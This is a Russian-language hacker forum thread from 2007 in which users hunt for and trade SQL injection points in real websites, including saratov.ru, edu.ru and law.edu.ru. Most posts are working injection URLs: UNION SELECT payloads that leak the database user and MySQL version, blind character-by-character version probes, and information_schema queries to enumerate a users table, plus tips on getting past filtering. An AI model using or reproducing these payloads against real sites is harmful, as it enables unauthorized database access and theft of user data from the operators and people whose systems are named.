13.08.2007, 10:24
|
|
Новичок
Регистрация: 12.08.2007
Сообщений: 3
С нами:
9866942
Репутация:
0
|
|
Объясните ламеру возможно ли это как-то использовать в своих целях? 
http://forums.saratov.ru/index.php?act=members&st=%20-1
и
http://forums.saratov.ru/ips_kernel/PEAR/Text/Diff3.php |
|
|
13.08.2007, 10:30
|
|
Участник форума
Регистрация: 06.09.2006
Сообщений: 177
С нами:
10356158
Репутация:
16
|
|
я конечно плохо разбираюсь но попервой ссылке если ты поймешь что там написано , может это и ошибка , хотя врядли ничего по ней не сделаешь...
а вот по второй ,это либо админ подлный дибил и с ошибкой фоурм, либо там инклуд (php инклуд) статьи есть на ачате.... хотя я плохо разбираюсь в инкоуде так что могу ошибится... просто сомнения из за того что ты не задал лишних параметров..
|
|
|
|
13.08.2007, 11:28
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
Taylorith там строка задается. ничего не сделаешь
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
13.08.2007, 11:36
|
|
Участник форума
Регистрация: 28.06.2007
Сообщений: 221
С нами:
9931820
Репутация:
135
|
|
Раскручивай лучше отсюда http://saratov.ru/ads/click.cgi?account='
|
|
|
|
13.08.2007, 11:54
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
С нами:
10172486
Репутация:
874
|
|
Вот что я нашел по Саратову
http://www.saratov.ru/gallery/?show=gal&id=-3+union+select+1,22222/*
Таблицы не подобрал...  пробовал mysql.user и ibf_members может руки не оттуда?.. |
|
|
|
13.08.2007, 12:03
|
|
Участник форума
Регистрация: 22.11.2006
Сообщений: 117
С нами:
10246130
Репутация:
141
|
|
Код:
http://www.saratov.ru/gallery/?show=gal&id=-1+union+select+1,2,выводится,4,5,6/*
saratov
gallery@localhost
4.0.17 |
|
|
|
13.08.2007, 12:07
|
|
Познающий
Регистрация: 24.05.2007
Сообщений: 38
С нами:
9982591
Репутация:
29
|
|
http://www.edu.ru/index.php?page_id=50&op=word&wid=-1'
Выодит mysq еррор....начинаю перебор - он мне аццес денайед((
|
|
|
|
13.08.2007, 12:25
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от x.Elf
http://www.edu.ru/index.php?page_id=50&op=word&wid=-1'
Выодит mysq еррор....начинаю перебор - он мне аццес денайед((
Код:
http://www.edu.ru/index.php?page_id=50&op=word&wid=581 and substring(version(),1,1)=4
там union заменяется на union% и у тя всегда будет ошибка синтаксиса. юзай посимвольный брут
__________________
|
|
|
|
13.08.2007, 12:09
|
|
Познающий
Регистрация: 24.05.2007
Сообщений: 38
С нами:
9982591
Репутация:
29
|
|
http://www.law.edu.ru/matlist.asp?themRub=20'&docType=11
что можно сделать?
|
|
|
|
13.08.2007, 12:24
|
|
Участник форума
Регистрация: 22.11.2006
Сообщений: 117
С нами:
10246130
Репутация:
141
|
|
Код:
.php?rid=-1+union+select+1,2,3,column_name,5,6,7,8,9,1,2+from+information_schema.columns+where+table_name='users'+limit+1,1/*
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\' limit 1,1/*' at line 5
Он ' фильтрует? Таблица users 100% существует. |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
